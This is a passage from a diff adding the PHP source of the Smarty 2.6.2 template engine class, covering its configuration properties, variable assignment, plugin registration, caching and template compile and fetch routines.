+    var $default_resource_type    = 'file';
+
+    /**
+     * The function used for cache file handling. If not set, built-in caching is used.
+     *
+     * @var null|string function name
+     */
+    var $cache_handler_func   = null;
+
+    /**
+     * This indicates which filters are automatically loaded into Smarty.
+     *
+     * @var array array of filter names
+     */
+    var $autoload_filters = array();
+
+    /**#@+
+     * @var boolean
+     */
+    /**
+     * This tells if config file vars of the same name overwrite each other or not.
+     * if disabled, same name variables are accumulated in an array.
+     */
+    var $config_overwrite = true;
+
+    /**
+     * This tells whether or not to automatically booleanize config file variables.
+     * If enabled, then the strings "on", "true", and "yes" are treated as boolean
+     * true, and "off", "false" and "no" are treated as boolean false.
+     */
+    var $config_booleanize = true;
+
+    /**
+     * This tells whether hidden sections [.foobar] are readable from the
+     * tempalates or not. Normally you would never allow this since that is
+     * the point behind hidden sections: the application can access them, but
+     * the templates cannot.
+     */
+    var $config_read_hidden = false;
+
+    /**
+     * This tells whether or not automatically fix newlines in config files.
+     * It basically converts \r (mac) or \r\n (dos) to \n
+     */
+    var $config_fix_newlines = true;
+    /**#@-*/
+
+    /**
+     * If a template cannot be found, this PHP function will be executed.
+     * Useful for creating templates on-the-fly or other special action.
+     *
+     * @var string function name
+     */
+    var $default_template_handler_func = '';
+
+    /**
+     * The file that contains the compiler class. This can a full
+     * pathname, or relative to the php_include path.
+     *
+     * @var string
+     */
+    var $compiler_file        =    'Smarty_Compiler.class.php';
+
+    /**
+     * The class used for compiling templates.
+     *
+     * @var string
+     */
+    var $compiler_class        =   'Smarty_Compiler';
+
+    /**
+     * The class used to load config vars.
+     *
+     * @var string
+     */
+    var $config_class          =   'Config_File';
+
+/**#@+
+ * END Smarty Configuration Section
+ * There should be no need to touch anything below this line.
+ * @access private
+ */
+    /**
+     * error messages. true/false
+     *
+     * @var boolean
+     */
+    var $_error_msg            = false;
+
+    /**
+     * where assigned template vars are kept
+     *
+     * @var array
+     */
+    var $_tpl_vars             = array();
+
+    /**
+     * stores run-time $smarty.* vars
+     *
+     * @var null|array
+     */
+    var $_smarty_vars          = null;
+
+    /**
+     * keeps track of sections
+     *
+     * @var array
+     */
+    var $_sections             = array();
+
+    /**
+     * keeps track of foreach blocks
+     *
+     * @var array
+     */
+    var $_foreach              = array();
+
+    /**
+     * keeps track of tag hierarchy
+     *
+     * @var array
+     */
+    var $_tag_stack            = array();
+
+    /**
+     * configuration object
+     *
+     * @var Config_file
+     */
+    var $_conf_obj             = null;
+
+    /**
+     * loaded configuration settings
+     *
+     * @var array
+     */
+    var $_config               = array(array('vars'  => array(), 'files' => array()));
+
+    /**
+     * md5 checksum of the string 'Smarty'
+     *
+     * @var string
+     */
+    var $_smarty_md5           = 'f8d698aea36fcbead2b9d5359ffca76f';
+
+    /**
+     * Smarty version number
+     *
+     * @var string
+     */
+    var $_version              = '2.6.2';
+
+    /**
+     * current template inclusion depth
+     *
+     * @var integer
+     */
+    var $_inclusion_depth      = 0;
+
+    /**
+     * for different compiled templates
+     *
+     * @var string
+     */
+    var $_compile_id           = null;
+
+    /**
+     * text in URL to enable debug mode
+     *
+     * @var string
+     */
+    var $_smarty_debug_id      = 'SMARTY_DEBUG';
+
+    /**
+     * debugging information for debug console
+     *
+     * @var array
+     */
+    var $_smarty_debug_info    = array();
+
+    /**
+     * info that makes up a cache file
+     *
+     * @var array
+     */
+    var $_cache_info           = array();
+
+    /**
+     * default file permissions
+     *
+     * @var integer
+     */
+    var $_file_perms           = 0644;
+
+    /**
+     * default dir permissions
+     *
+     * @var integer
+     */
+    var $_dir_perms               = 0771;
+
+    /**
+     * registered objects
+     *
+     * @var array
+     */
+    var $_reg_objects           = array();
+
+    /**
+     * table keeping track of plugins
+     *
+     * @var array
+     */
+    var $_plugins              = array(
+                                       'modifier'      => array(),
+                                       'function'      => array(),
+                                       'block'         => array(),
+                                       'compiler'      => array(),
+                                       'prefilter'     => array(),
+                                       'postfilter'    => array(),
+                                       'outputfilter'  => array(),
+                                       'resource'      => array(),
+                                       'insert'        => array());
+
+
+    /**
+     * cache serials
+     *
+     * @var array
+     */
+    var $_cache_serials = array();
+
+    /**
+     * name of optional cache include file
+     *
+     * @var string
+     */
+    var $_cache_include = null;
+
+    /**
+     * indicate if the current code is used in a compiled
+     * include
+     *
+     * @var string
+     */
+    var $_cache_including = false;
+
+    /**#@-*/
+    /**
+     * The class constructor.
+     */
+    function Smarty()
+    {
+      $this->assign('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
+                    : @$GLOBALS['HTTP_SERVER_VARS']['SCRIPT_NAME']);
+    }
+
+    /**
+     * assigns values to template variables
+     *
+     * @param array|string $tpl_var the template variable name(s)
+     * @param mixed $value the value to assign
+     */
+    function assign($tpl_var, $value = null)
+    {
+        if (is_array($tpl_var)){
+            foreach ($tpl_var as $key => $val) {
+                if ($key != '') {
+                    $this->_tpl_vars[$key] = $val;
+                }
+            }
+        } else {
+            if ($tpl_var != '')
+                $this->_tpl_vars[$tpl_var] = $value;
+        }
+    }
+
+    /**
+     * assigns values to template variables by reference
+     *
+     * @param string $tpl_var the template variable name
+     * @param mixed $value the referenced value to assign
+     */
+    function assign_by_ref($tpl_var, &$value)
+    {
+        if ($tpl_var != '')
+            $this->_tpl_vars[$tpl_var] = &$value;
+    }
+
+    /**
+     * appends values to template variables
+     *
+     * @param array|string $tpl_var the template variable name(s)
+     * @param mixed $value the value to append
+     */
+    function append($tpl_var, $value=null, $merge=false)
+    {
+        if (is_array($tpl_var)) {
+            // $tpl_var is an array, ignore $value
+            foreach ($tpl_var as $_key => $_val) {
+                if ($_key != '') {
+                    if(!@is_array($this->_tpl_vars[$_key])) {
+                        settype($this->_tpl_vars[$_key],'array');
+                    }
+                    if($merge && is_array($_val)) {
+                        foreach($_val as $_mkey => $_mval) {
+                            $this->_tpl_vars[$_key][$_mkey] = $_mval;
+                        }
+                    } else {
+                        $this->_tpl_vars[$_key][] = $_val;
+                    }
+                }
+            }
+        } else {
+            if ($tpl_var != '' && isset($value)) {
+                if(!@is_array($this->_tpl_vars[$tpl_var])) {
+                    settype($this->_tpl_vars[$tpl_var],'array');
+                }
+                if($merge && is_array($value)) {
+                    foreach($value as $_mkey => $_mval) {
+                        $this->_tpl_vars[$tpl_var][$_mkey] = $_mval;
+                    }
+                } else {
+                    $this->_tpl_vars[$tpl_var][] = $value;
+                }
+            }
+        }
+    }
+
+    /**
+     * appends values to template variables by reference
+     *
+     * @param string $tpl_var the template variable name
+     * @param mixed $value the referenced value to append
+     */
+    function append_by_ref($tpl_var, &$value, $merge=false)
+    {
+        if ($tpl_var != '' && isset($value)) {
+            if(!@is_array($this->_tpl_vars[$tpl_var])) {
+             settype($this->_tpl_vars[$tpl_var],'array');
+            }
+            if ($merge && is_array($value)) {
+                foreach($value as $_key => $_val) {
+                    $this->_tpl_vars[$tpl_var][$_key] = &$value[$_key];
+                }
+            } else {
+                $this->_tpl_vars[$tpl_var][] = &$value;
+            }
+        }
+    }
+
+
+    /**
+     * clear the given assigned template variable.
+     *
+     * @param string $tpl_var the template variable to clear
+     */
+    function clear_assign($tpl_var)
+    {
+        if (is_array($tpl_var))
+            foreach ($tpl_var as $curr_var)
+                unset($this->_tpl_vars[$curr_var]);
+        else
+            unset($this->_tpl_vars[$tpl_var]);
+    }
+
+
+    /**
+     * Registers custom function to be used in templates
+     *
+     * @param string $function the name of the template function
+     * @param string $function_impl the name of the PHP function to register
+     */
+    function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null)
+    {
+        $this->_plugins['function'][$function] =
+            array($function_impl, null, null, false, $cacheable, $cache_attrs);
+
+    }
+
+    /**
+     * Unregisters custom function
+     *
+     * @param string $function name of template function
+     */
+    function unregister_function($function)
+    {
+        unset($this->_plugins['function'][$function]);
+    }
+
+    /**
+     * Registers object to be used in templates
+     *
+     * @param string $object name of template object
+     * @param object &$object_impl the referenced PHP object to register
+     * @param null|array $allowed list of allowed methods (empty = all)
+     * @param boolean $smarty_args smarty argument format, else traditional
+     * @param null|array $block_functs list of methods that are block format
+     */
+    function register_object($object, &$object_impl, $allowed = array(), $smarty_args = true, $block_methods = array())
+    {
+        settype($allowed, 'array');
+        settype($smarty_args, 'boolean');
+        $this->_reg_objects[$object] =
+            array(&$object_impl, $allowed, $smarty_args, $block_methods);
+    }
+
+    /**
+     * Unregisters object
+     *
+     * @param string $object name of template object
+     */
+    function unregister_object($object)
+    {
+        unset($this->_reg_objects[$object]);
+    }
+
+
+    /**
+     * Registers block function to be used in templates
+     *
+     * @param string $block name of template block
+     * @param string $block_impl PHP function to register
+     */
+    function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null)
+    {
+        $this->_plugins['block'][$block] =
+            array($block_impl, null, null, false, $cacheable, $cache_attrs);
+    }
+
+    /**
+     * Unregisters block function
+     *
+     * @param string $block name of template function
+     */
+    function unregister_block($block)
+    {
+        unset($this->_plugins['block'][$block]);
+    }
+
+    /**
+     * Registers compiler function
+     *
+     * @param string $function name of template function
+     * @param string $function_impl name of PHP function to register
+     */
+    function register_compiler_function($function, $function_impl, $cacheable=true)
+    {
+        $this->_plugins['compiler'][$function] =
+            array($function_impl, null, null, false, $cacheable);
+    }
+
+    /**
+     * Unregisters compiler function
+     *
+     * @param string $function name of template function
+     */
+    function unregister_compiler_function($function)
+    {
+        unset($this->_plugins['compiler'][$function]);
+    }
+
+    /**
+     * Registers modifier to be used in templates
+     *
+     * @param string $modifier name of template modifier
+     * @param string $modifier_impl name of PHP function to register
+     */
+    function register_modifier($modifier, $modifier_impl)
+    {
+        $this->_plugins['modifier'][$modifier] =
+            array($modifier_impl, null, null, false);
+    }
+
+    /**
+     * Unregisters modifier
+     *
+     * @param string $modifier name of template modifier
+     */
+    function unregister_modifier($modifier)
+    {
+        unset($this->_plugins['modifier'][$modifier]);
+    }
+
+    /**
+     * Registers a resource to fetch a template
+     *
+     * @param string $type name of resource
+     * @param array $functions array of functions to handle resource
+     */
+    function register_resource($type, $functions)
+    {
+        if (count($functions)==4) {
+            $this->_plugins['resource'][$type] =
+                array($functions, false);
+
+        } elseif (count($functions)==5) {
+            $this->_plugins['resource'][$type] =
+                array(array(array(&$functions[0], $functions[1])
+                            ,array(&$functions[0], $functions[2])
+                            ,array(&$functions[0], $functions[3])
+                            ,array(&$functions[0], $functions[4]))
+                      ,false);
+
+        } else {
+            $this->trigger_error("malformed function-list for '$type' in register_resource");
+
+        }
+    }
+
+    /**
+     * Unregisters a resource
+     *
+     * @param string $type name of resource
+     */
+    function unregister_resource($type)
+    {
+        unset($this->_plugins['resource'][$type]);
+    }
+
+    /**
+     * Registers a prefilter function to apply
+     * to a template before compiling
+     *
+     * @param string $function name of PHP function to register
+     */
+    function register_prefilter($function)
+    {
+    $_name = (is_array($function)) ? $function[1] : $function;
+        $this->_plugins['prefilter'][$_name]
+            = array($function, null, null, false);
+    }
+
+    /**
+     * Unregisters a prefilter function
+     *
+     * @param string $function name of PHP function
+     */
+    function unregister_prefilter($function)
+    {
+        unset($this->_plugins['prefilter'][$function]);
+    }
+
+    /**
+     * Registers a postfilter function to apply
+     * to a compiled template after compilation
+     *
+     * @param string $function name of PHP function to register
+     */
+    function register_postfilter($function)
+    {
+    $_name = (is_array($function)) ? $function[1] : $function;
+        $this->_plugins['postfilter'][$_name]
+            = array($function, null, null, false);
+    }
+
+    /**
+     * Unregisters a postfilter function
+     *
+     * @param string $function name of PHP function
+     */
+    function unregister_postfilter($function)
+    {
+        unset($this->_plugins['postfilter'][$function]);
+    }
+
+    /**
+     * Registers an output filter function to apply
+     * to a template output
+     *
+     * @param string $function name of PHP function
+     */
+    function register_outputfilter($function)
+    {
+    $_name = (is_array($function)) ? $function[1] : $function;
+        $this->_plugins['outputfilter'][$_name]
+            = array($function, null, null, false);
+    }
+
+    /**
+     * Unregisters an outputfilter function
+     *
+     * @param string $function name of PHP function
+     */
+    function unregister_outputfilter($function)
+    {
+        unset($this->_plugins['outputfilter'][$function]);
+    }
+
+    /**
+     * load a filter of specified type and name
+     *
+     * @param string $type filter type
+     * @param string $name filter name
+     */
+    function load_filter($type, $name)
+    {
+        switch ($type) {
+            case 'output':
+                $_params = array('plugins' => array(array($type . 'filter', $name, null, null, false)));
+                require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+                smarty_core_load_plugins($_params, $this);
+                break;
+
+            case 'pre':
+            case 'post':
+                if (!isset($this->_plugins[$type . 'filter'][$name]))
+                    $this->_plugins[$type . 'filter'][$name] = false;
+                break;
+        }
+    }
+
+    /**
+     * clear cached content for the given template and cache id
+     *
+     * @param string $tpl_file name of template file
+     * @param string $cache_id name of cache_id
+     * @param string $compile_id name of compile_id
+     * @param string $exp_time expiration time
+     * @return boolean
+     */
+    function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null)
+    {
+
+        if (!isset($compile_id))
+            $compile_id = $this->compile_id;
+
+    if (!isset($tpl_file))
+        $compile_id = null;
+
+    $_auto_id = $this->_get_auto_id($cache_id, $compile_id);
+
+        if (!empty($this->cache_handler_func)) {
+            return call_user_func_array($this->cache_handler_func,
+                                  array('clear', &$this, &$dummy, $tpl_file, $cache_id, $compile_id, $exp_time));
+        } else {
+            $_params = array('auto_base' => $this->cache_dir,
+                            'auto_source' => $tpl_file,
+                            'auto_id' => $_auto_id,
+                            'exp_time' => $exp_time);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rm_auto.php');
+            return smarty_core_rm_auto($_params, $this);
+        }
+
+    }
+
+
+    /**
+     * clear the entire contents of cache (all templates)
+     *
+     * @param string $exp_time expire time
+     * @return boolean results of {@link smarty_core_rm_auto()}
+     */
+    function clear_all_cache($exp_time = null)
+    {
+        if (!empty($this->cache_handler_func)) {
+            $dummy = null;
+            call_user_func_array($this->cache_handler_func,
+                           array('clear', &$this, &$dummy, null, null, null, $exp_time));
+        } else {
+            $_params = array('auto_base' => $this->cache_dir,
+                            'auto_source' => null,
+                            'auto_id' => null,
+                            'exp_time' => $exp_time);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rm_auto.php');
+            return smarty_core_rm_auto($_params, $this);
+        }
+    }
+
+
+    /**
+     * test to see if valid cache exists for this template
+     *
+     * @param string $tpl_file name of template file
+     * @param string $cache_id
+     * @param string $compile_id
+     * @return string|false results of {@link _read_cache_file()}
+     */
+    function is_cached($tpl_file, $cache_id = null, $compile_id = null)
+    {
+        if (!$this->caching)
+            return false;
+
+        if (!isset($compile_id))
+            $compile_id = $this->compile_id;
+
+        $_params = array(
+            'tpl_file' => $tpl_file,
+            'cache_id' => $cache_id,
+            'compile_id' => $compile_id
+        );
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.read_cache_file.php');
+        return smarty_core_read_cache_file($_params, $this);
+    }
+
+
+    /**
+     * clear all the assigned template variables.
+     *
+     */
+    function clear_all_assign()
+    {
+        $this->_tpl_vars = array();
+    }
+
+    /**
+     * clears compiled version of specified template resource,
+     * or all compiled template files if one is not specified.
+     * This function is for advanced use only, not normally needed.
+     *
+     * @param string $tpl_file
+     * @param string $compile_id
+     * @param string $exp_time
+     * @return boolean results of {@link smarty_core_rm_auto()}
+     */
+    function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null)
+    {
+        if (!isset($compile_id)) {
+            $compile_id = $this->compile_id;
+        }
+        $_params = array('auto_base' => $this->compile_dir,
+                        'auto_source' => $tpl_file,
+                        'auto_id' => $compile_id,
+                        'exp_time' => $exp_time,
+                        'extensions' => array('.inc', '.php'));
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rm_auto.php');
+        return smarty_core_rm_auto($_params, $this);
+    }
+
+    /**
+     * Checks whether requested template exists.
+     *
+     * @param string $tpl_file
+     * @return boolean
+     */
+    function template_exists($tpl_file)
+    {
+        $_params = array('resource_name' => $tpl_file, 'quiet'=>true, 'get_source'=>false);
+        return $this->_fetch_resource_info($_params);
+    }
+
+    /**
+     * Returns an array containing template variables
+     *
+     * @param string $name
+     * @param string $type
+     * @return array
+     */
+    function &get_template_vars($name=null)
+    {
+        if(!isset($name)) {
+            return $this->_tpl_vars;
+        }
+        if(isset($this->_tpl_vars[$name])) {
+            return $this->_tpl_vars[$name];
+        }
+    }
+
+    /**
+     * Returns an array containing config variables
+     *
+     * @param string $name
+     * @param string $type
+     * @return array
+     */
+    function &get_config_vars($name=null)
+    {
+        if(!isset($name) && is_array($this->_config[0])) {
+            return $this->_config[0]['vars'];
+        } else if(isset($this->_config[0]['vars'][$name])) {
+            return $this->_config[0]['vars'][$name];
+        }
+    }
+
+    /**
+     * trigger Smarty error
+     *
+     * @param string $error_msg
+     * @param integer $error_type
+     */
+    function trigger_error($error_msg, $error_type = E_USER_WARNING)
+    {
+        trigger_error("Smarty error: $error_msg", $error_type);
+    }
+
+
+    /**
+     * executes & displays the template results
+     *
+     * @param string $resource_name
+     * @param string $cache_id
+     * @param string $compile_id
+     */
+    function display($resource_name, $cache_id = null, $compile_id = null)
+    {
+        $this->fetch($resource_name, $cache_id, $compile_id, true);
+    }
+
+    /**
+     * executes & returns or displays the template results
+     *
+     * @param string $resource_name
+     * @param string $cache_id
+     * @param string $compile_id
+     * @param boolean $display
+     */
+    function fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)
+    {
+        static $_cache_info = array();
+        
+        $_smarty_old_error_level = $this->debugging ? error_reporting() : error_reporting(isset($this->error_reporting)
+               ? $this->error_reporting : error_reporting() & ~E_NOTICE);
+
+        if (!$this->debugging && $this->debugging_ctrl == 'URL') {
+            $_query_string = $this->request_use_auto_globals ? $_SERVER['QUERY_STRING'] : $GLOBALS['HTTP_SERVER_VARS']['QUERY_STRING'];
+            if (@strstr($_query_string, $this->_smarty_debug_id)) {
+                if (@strstr($_query_string, $this->_smarty_debug_id . '=on')) {
+                    // enable debugging for this browser session
+                    @setcookie('SMARTY_DEBUG', true);
+                    $this->debugging = true;
+                } elseif (@strstr($_query_string, $this->_smarty_debug_id . '=off')) {
+                    // disable debugging for this browser session
+                    @setcookie('SMARTY_DEBUG', false);
+                    $this->debugging = false;
+                } else {
+                    // enable debugging for this page
+                    $this->debugging = true;
+                }
+            } else {
+                $_cookie_var = $this->request_use_auto_globals ? $_COOKIE['SMARTY_DEBUG'] : $GLOBALS['HTTP_COOKIE_VARS']['SMARTY_DEBUG'];
+                $this->debugging = $_cookie_var ? true : false;
+            }
+        }
+
+        if ($this->debugging) {
+            // capture time for debugging info
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $_debug_start_time = smarty_core_get_microtime($_params, $this);
+            $this->_smarty_debug_info[] = array('type'      => 'template',
+                                                'filename'  => $resource_name,
+                                                'depth'     => 0);
+            $_included_tpls_idx = count($this->_smarty_debug_info) - 1;
+        }
+
+        if (!isset($compile_id)) {
+            $compile_id = $this->compile_id;
+        }
+
+        $this->_compile_id = $compile_id;
+        $this->_inclusion_depth = 0;
+
+        if ($this->caching) {
+            // save old cache_info, initialize cache_info
+            array_push($_cache_info, $this->_cache_info);
+            $this->_cache_info = array();
+            $_params = array(
+                'tpl_file' => $resource_name,
+                'cache_id' => $cache_id,
+                'compile_id' => $compile_id,
+                'results' => null
+            );
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.read_cache_file.php');
+            if (smarty_core_read_cache_file($_params, $this)) {
+                $_smarty_results = $_params['results'];
+                if (@count($this->_cache_info['insert_tags'])) {
+                    $_params = array('plugins' => $this->_cache_info['insert_tags']);
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+                    smarty_core_load_plugins($_params, $this);
+                    $_params = array('results' => $_smarty_results);
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.process_cached_inserts.php');
+                    $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
+                }
+                if (@count($this->_cache_info['cache_serials'])) {
+                    $_params = array('results' => $_smarty_results);
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.process_compiled_include.php');
+                    $_smarty_results = smarty_core_process_compiled_include($_params, $this);
+                }
+
+
+                if ($display) {
+                    if ($this->debugging)
+                    {
+                        // capture time for debugging info
+                        $_params = array();
+                        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+                        $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $_debug_start_time;
+                        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.display_debug_console.php');
+                        $_smarty_results .= smarty_core_display_debug_console($_params, $this);
+                    }
+                    if ($this->cache_modified_check) {
+                        $_server_vars = ($this->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
+                        $_last_modified_date = @substr($_server_vars['HTTP_IF_MODIFIED_SINCE'], 0, strpos($_server_vars['HTTP_IF_MODIFIED_SINCE'], 'GMT') + 3);
+                        $_gmt_mtime = gmdate('D, d M Y H:i:s', $this->_cache_info['timestamp']).' GMT';
+                        if (@count($this->_cache_info['insert_tags']) == 0
+                            && !$this->_cache_serials
+                            && $_gmt_mtime == $_last_modified_date) {
+                            if (php_sapi_name()=='cgi')
+                                header("Status: 304 Not Modified");
+                            else
+                                header("HTTP/1.1 304 Not Modified");
+
+                        } else {
+                            header("Last-Modified: ".$_gmt_mtime);
+                            echo $_smarty_results;
+                        }
+                    } else {
+                            echo $_smarty_results;
+                    }
+                    error_reporting($_smarty_old_error_level);
+                    // restore initial cache_info
+                    $this->_cache_info = array_pop($_cache_info);
+                    return true;
+                } else {
+                    error_reporting($_smarty_old_error_level);
+                    // restore initial cache_info
+                    $this->_cache_info = array_pop($_cache_info);
+                    return $_smarty_results;
+                }
+            } else {
+                $this->_cache_info['template'][$resource_name] = true;
+                if ($this->cache_modified_check && $display) {
+                    header("Last-Modified: ".gmdate('D, d M Y H:i:s', time()).' GMT');
+                }
+            }
+        }
+
+        // load filters that are marked as autoload
+        if (count($this->autoload_filters)) {
+            foreach ($this->autoload_filters as $_filter_type => $_filters) {
+                foreach ($_filters as $_filter) {
+                    $this->load_filter($_filter_type, $_filter);
+                }
+            }
+        }
+
+        $_smarty_compile_path = $this->_get_compile_path($resource_name);
+
+        // if we just need to display the results, don't perform output
+        // buffering - for speed
+        $_cache_including = $this->_cache_including;
+        $this->_cache_including = false;
+        if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
+            if ($this->_is_compiled($resource_name, $_smarty_compile_path)
+                    || $this->_compile_resource($resource_name, $_smarty_compile_path))
+            {
+                include($_smarty_compile_path);
+            }
+        } else {
+            ob_start();
+            if ($this->_is_compiled($resource_name, $_smarty_compile_path)
+                    || $this->_compile_resource($resource_name, $_smarty_compile_path))
+            {
+                include($_smarty_compile_path);
+            }
+            $_smarty_results = ob_get_contents();
+            ob_end_clean();
+
+            foreach ((array)$this->_plugins['outputfilter'] as $_output_filter) {
+                $_smarty_results = call_user_func_array($_output_filter[0], array($_smarty_results, &$this));
+            }
+        }
+
+        if ($this->caching) {
+            $_params = array('tpl_file' => $resource_name,
+                        'cache_id' => $cache_id,
+                        'compile_id' => $compile_id,
+                        'results' => $_smarty_results);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_cache_file.php');
+            smarty_core_write_cache_file($_params, $this);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.process_cached_inserts.php');
+            $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
+
+            if ($this->_cache_serials) {
+                // strip nocache-tags from output
+                $_smarty_results = preg_replace('!(\{/?nocache\:[0-9a-f]{32}#\d+\})!s'
+                                                ,''
+                                                ,$_smarty_results);
+            }
+            // restore initial cache_info
+            $this->_cache_info = array_pop($_cache_info);
+        }
+        $this->_cache_including = $_cache_including;
+
+        if ($display) {
+            if (isset($_smarty_results)) { echo $_smarty_results; }
+            if ($this->debugging) {
+                // capture time for debugging info
+                $_params = array();
+                require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+                $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = (smarty_core_get_microtime($_params, $this) - $_debug_start_time);
+                require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.display_debug_console.php');
+                echo smarty_core_display_debug_console($_params, $this);
+            }
+            error_reporting($_smarty_old_error_level);
+            return;
+        } else {
+            error_reporting($_smarty_old_error_level);
+            if (isset($_smarty_results)) { return $_smarty_results; }
+        }
+    }
+
+    /**
+     * load configuration values
+     *
+     * @param string $file
+     * @param string $section
+     * @param string $scope
+     */
+    function config_load($file, $section = null, $scope = 'global')
+    {
+        require_once($this->_get_plugin_filepath('function', 'config_load'));
+        smarty_function_config_load(array('file' => $file, 'section' => $section, 'scope' => $scope), $this);
+    }
+
+    /**
+     * return a reference to a registered object
+     *
+     * @param string $name
+     * @return object
+     */
+    function &get_registered_object($name) {
+        if (!isset($this->_reg_objects[$name]))
+        $this->_trigger_fatal_error("'$name' is not a registered object");
+
+        if (!is_object($this->_reg_objects[$name][0]))
+        $this->_trigger_fatal_error("registered '$name' is not an object");
+
+        return $this->_reg_objects[$name][0];
+    }
+
+    /**
+     * clear configuration values
+     *
+     * @param string $var
+     */
+    function clear_config($var = null)
+    {
+        if(!isset($var)) {
+            // clear all values
+            $this->_config = array(array('vars'  => array(),
+                                         'files' => array()));
+        } else {
+            unset($this->_config[0]['vars'][$var]);
+        }
+    }
+
+    /**
+     * get filepath of requested plugin
+     *
+     * @param string $type
+     * @param string $name
+     * @return string|false
+     */
+    function _get_plugin_filepath($type, $name)
+    {
+        $_params = array('type' => $type, 'name' => $name);
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.assemble_plugin_filepath.php');
+        return smarty_core_assemble_plugin_filepath($_params, $this);
+    }
+
+   /**
+     * test if resource needs compiling
+     *
+     * @param string $resource_name
+     * @param string $compile_path
+     * @return boolean
+     */
+    function _is_compiled($resource_name, $compile_path)
+    {
+        if (!$this->force_compile && file_exists($compile_path)) {
+            if (!$this->compile_check) {
+                // no need to check compiled file
+                return true;
+            } else {
+                // get file source and timestamp
+                $_params = array('resource_name' => $resource_name, 'get_source'=>false);
+                if (!$this->_fetch_resource_info($_params)) {
+                    return false;
+                }
+                if ($_params['resource_timestamp'] <= filemtime($compile_path)) {
+                    // template not expired, no recompile
+                    return true;
+                } else {
+                    // compile template
+                    return false;
+                }
+            }
+        } else {
+            // compiled template does not exist, or forced compile
+            return false;
+        }
+    }
+
+   /**
+     * compile the template
+     *
+     * @param string $resource_name
+     * @param string $compile_path
+     * @return boolean
+     */
+    function _compile_resource($resource_name, $compile_path)
+    {
+
+        $_params = array('resource_name' => $resource_name);
+        if (!$this->_fetch_resource_info($_params)) {
+            return false;
+        }
+
+        $_source_content = $_params['source_content'];
+        $_resource_timestamp = $_params['resource_timestamp'];
+        $_cache_include    = substr($compile_path, 0, -4).'.inc';
+
+        if ($this->_compile_source($resource_name, $_source_content, $_compiled_content, $_cache_include)) {
+            // if a _cache_serial was set, we also have to write an include-file:
+            if ($this->_cache_include_info) {
+                require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_compiled_include.php');
+                smarty_core_write_compiled_include(array_merge($this->_cache_include_info, array('compiled_content'=>$_compiled_content)),  $this);
+            }
+
+            $_params = array('compile_path'=>$compile_path, 'compiled_content' => $_compiled_content, 'resource_timestamp' => $_resource_timestamp);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_compiled_resource.php');
+            smarty_core_write_compiled_resource($_params, $this);
+
+            return true;
+        } else {
+            $this->trigger_error($smarty_compiler->_error_msg);
+            return false;
+        }
+
+    }
+
+   /**
+     * compile the given source
+     *
+     * @param string $resource_name
+     * @param string $source_content
+     * @param string $compiled_content
+     * @return boolean
+     */
+    function _compile_source($resource_name, &$source_content, &$compiled_content, $cache_include_path=null)
+    {
+        if (file_exists(SMARTY_DIR . $this->compiler_file)) {
+            require_once(SMARTY_DIR . $this->compiler_file);
+        } else {
+            // use include_path
+            require_once($this->compiler_file);
+        }
+
+
+        $smarty_compiler = new $this->compiler_class;
+
+        $smarty_compiler->template_dir      = $this->template_dir;
+        $smarty_compiler->compile_dir       = $this->compile_dir;
+        $smarty_compiler->plugins_dir       = $this->plugins_dir;
+        $smarty_compiler->config_dir        = $this->config_dir;
+        $smarty_compiler->force_compile     = $this->force_compile;
+        $smarty_compiler->caching           = $this->caching;
+        $smarty_compiler->php_handling      = $this->php_handling;
+        $smarty_compiler->left_delimiter    = $this->left_delimiter;
+        $smarty_compiler->right_delimiter   = $this->right_delimiter;
+        $smarty_compiler->_version          = $this->_version;
+        $smarty_compiler->security          = $this->security;
+        $smarty_compiler->secure_dir        = $this->secure_dir;
+        $smarty_compiler->security_settings = $this->security_settings;
+        $smarty_compiler->trusted_dir       = $this->trusted_dir;
+        $smarty_compiler->_reg_objects      = &$this->_reg_objects;
+        $smarty_compiler->_plugins          = &$this->_plugins;
+        $smarty_compiler->_tpl_vars         = &$this->_tpl_vars;
+        $smarty_compiler->default_modifiers = $this->default_modifiers;
+        $smarty_compiler->compile_id        = $this->_compile_id;
+        $smarty_compiler->_config            = $this->_config;
+        $smarty_compiler->request_use_auto_globals  = $this->request_use_auto_globals;
+
+        $smarty_compiler->_cache_serial = null;
+        $smarty_compiler->_cache_include = $cache_include_path;
+
+
